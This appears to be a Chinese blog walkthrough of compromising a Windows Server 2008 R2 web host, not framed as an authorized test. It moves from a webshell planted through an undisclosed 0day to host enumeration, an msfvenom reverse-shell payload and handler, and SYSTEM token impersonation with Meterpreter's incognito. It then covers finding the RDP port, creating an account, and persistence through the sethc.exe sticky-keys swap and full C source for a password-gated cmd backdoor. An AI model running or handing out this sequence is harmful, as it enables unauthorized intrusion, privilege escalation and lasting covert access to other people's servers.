渗透过程 首先利用自己审计的0day将一句话木马写入目标网站,使用菜刀连接上目标,打开虚拟终端查看当前拥有的用户及系统信息。可以发现,网站系统为2008 R2版本的,且打了比较多的补丁。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 D:\www\> net users \\WIN-********* 的用户帐户 ------------------------------------------------------------------------------- Administrator            Guest                    mysql                     MySQL                    www D:\www\> systeminfo 主机名:           WIN-********* OS 名称:          Microsoft Windows Server 2008 R2 Enterprise  OS 版本:          6.1.7601 Service Pack 1 Build 7601 OS 制造商:        Microsoft Corporation OS 配置:          独立服务器 OS 构件类型:      Multiprocessor Free 注册的所有人:     Windows 用户 注册的组织:        产品 ID:          00486-OEM-8400691-20006 初始安装日期:     2018/8/29, 14:37:18 系统启动时间:     2018/9/13, 3:20:51 系统制造商:       Gooxi 系统型号:         SY312-S24R/SY206-S12R/SY103-S06R 系统类型:         x64-based PC 处理器:           安装了 1 个处理器。                   [01]: Intel64 Family 6 Model 60 Stepping 3 GenuineIntel ~3100 Mhz BIOS 版本:        Gooxi G1SCN-B.2.31, 2016/6/15 Windows 目录:     C:\Windows 系统目录:         C:\Windows\system32 启动设备:         \Device\HarddiskVolume1 系统区域设置:     zh-cn;中文(中国) 输入法区域设置:   zh-cn;中文(中国) 时区:             (UTC+08:00) 北京,重庆,香港特别行政区,乌鲁木齐 物理内存总量:     8,155 MB 可用的物理内存:   3,851 MB 虚拟内存: 最大值: 16,308 MB 虚拟内存: 可用:   11,083 MB 虚拟内存: 使用中: 5,225 MB 页面文件位置:     C:\pagefile.sys 域:               WORKGROUP 登录服务器:       暂缺 修补程序:         安装了 173 个修补程序。                   [01]: KB981391                   [02]: KB981392                   [03]: KB977236                   [04]: KB981111                   [05]: KB977238                   [06]: KB2849697                   [07]: KB2849696                   ................                   [170]: KB4457044                   [171]: KB976902                   [172]: KB982018                   [173]: KB4457144 网卡:             安装了 2 个 NIC。 
 
一开始我使用 CVE-2018-8120   尝试提权,这个提权之前刚爆出来的时候还是挺好用的,然而这里提权失败。于是我打算直接使用MSF中的令牌环窃取来伪造身份进行登录。
首先在有公网IP地址的机器上用MSF生成反弹shell的木马,命令如下:
1 msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=本机IP LPORT=本机端口 -f exe > shell.exe 
 
将生成的木马上传并执行,在肉鸡上开启MSF监听,接收反弹shell:
1 2 3 4 5 6 7 8 9 10 11 ➜  Desktop msfconsole msf > use exploit/multi/handler msf exploit(multi/handler) > set  payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp msf exploit(multi/handler) > set  LPORT 本机端口 LPORT => 本机端口 msf exploit(multi/handler) > set  LHOST 本机IP LHOST => 本机IP msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 本机IP:本机要侦听的端口 
 
载入 incognito  插件,然后我们首先需要做的,是查看此系统上有哪些可用的令牌。用户权限不同,所能看到的令牌个数也不同。在命令框中输入: list_tokens -u  来查看可用的令牌:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 meterpreter > use incognito Loading extension incognito...Success. meterpreter > list_tokens -u Delegation Tokens Available ======================================== NT AUTHORITY\LOCAL SERVICE NT AUTHORITY\NETWORK SERVICE NT AUTHORITY\SYSTEM WIN-66666\Administrator Impersonation Tokens Available ======================================== NT AUTHORITY\ANONYMOUS LOGON 
 
接下来就是模拟这个 system  用户的令牌以获得 system  权限,在命令框中输入: impersonate_token “NT AUTHORITY\\SYSTEM”  ,其中第一个反斜杠用来转义第二个反斜杠。最后用 getuid  命令查看当前用户权限。
1 2 3 4 5 6 7 meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"  [-] Warning: Not currently running as SYSTEM, not all tokens will be available              Call rev2self if  primary process token is SYSTEM [+] Delegation token available [+] Successfully impersonated user NT AUTHORITY\SYSTEM meterpreter > getuid Server username: NT AUTHORITY\SYSTEM 
 
成功提权,关于窃取令牌的原理,大家可以阅读文章结尾处的相关文章。
由于目标是Windows系统,管理员多数会开远程桌面协议进行管理(RDP协议默认为3389端口),而一般管理员会修改默认端口为其他端口从而避免被攻击,所以这里我们使用以下命令来查看RDP的真实端口。在命令行分别输入如下命令( tasklist /svc | findstr TermService  用来查看RDP服务的PID号,然后用 netstat -nao | findstr PID号  来查看RDP服务运行的端口号):
这样,我们就可以使用之前MSF下的system权限创建账户,然后远程登录目标系统。
后门 为了使权限不丢失,我们可以在目标系统留一个后门。这里我喜欢将 C:\Windows\System32\sethc.exe  程序替换成cmd程序,这样我们只要打开远程登录的界面,按5下 shift  键就会以system权限调用cmd程序。然而这样留的后门很容易被人利用,所以我们可以自己用C语言写一个小程序,加入密码验证功能,让这个小程序来调用cmd程序。这里我直接贴出我的C语言代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 # include <cstdio>  # include <cstring>  # include <cstdlib>  # include <conio.h>  int  main (void )  {    char  welcome[1700 ] = "                                      \n\                       _____    ___     ___    _                                      \n\                     |_   _|  / _ \\   / _ \\  | |  ___                                \n\                       | |   | | | | | | | | | | / __|                               \n\                       | |   | |_| | | |_| | | | \\__ \\                               \n\                       |_|    \\___/   \\___/  |_| |___/                               \n\                                                                 \n\                                                                 \n\                                                                 \n\                       Please input your password!               \n\                            password : " ;    while (1 ){         printf ("%s" ,welcome);         char  password[30 ] = "0" ;         char  pwd[30 ] = "t00ls66666" ;         int  ch,i=0 ;         while ((ch = getch())!='\r' ){             password[i++] = ch;             printf ("%c" ,'*' );         }         puts ("" );         if (strncmp (password,pwd,10 ) == 0 ){             system("cmd.exe" );         }         else {             printf ("%s" ,"Error\n" );             fflush(stdin );         }     }     return  0 ; } 
 
最后贴一张效果图片(这里我使用本地虚拟机来演示):
本文没啥技术亮点,不喜勿喷哈:)
相关文章 Token Manipulation  
Fun with Incognito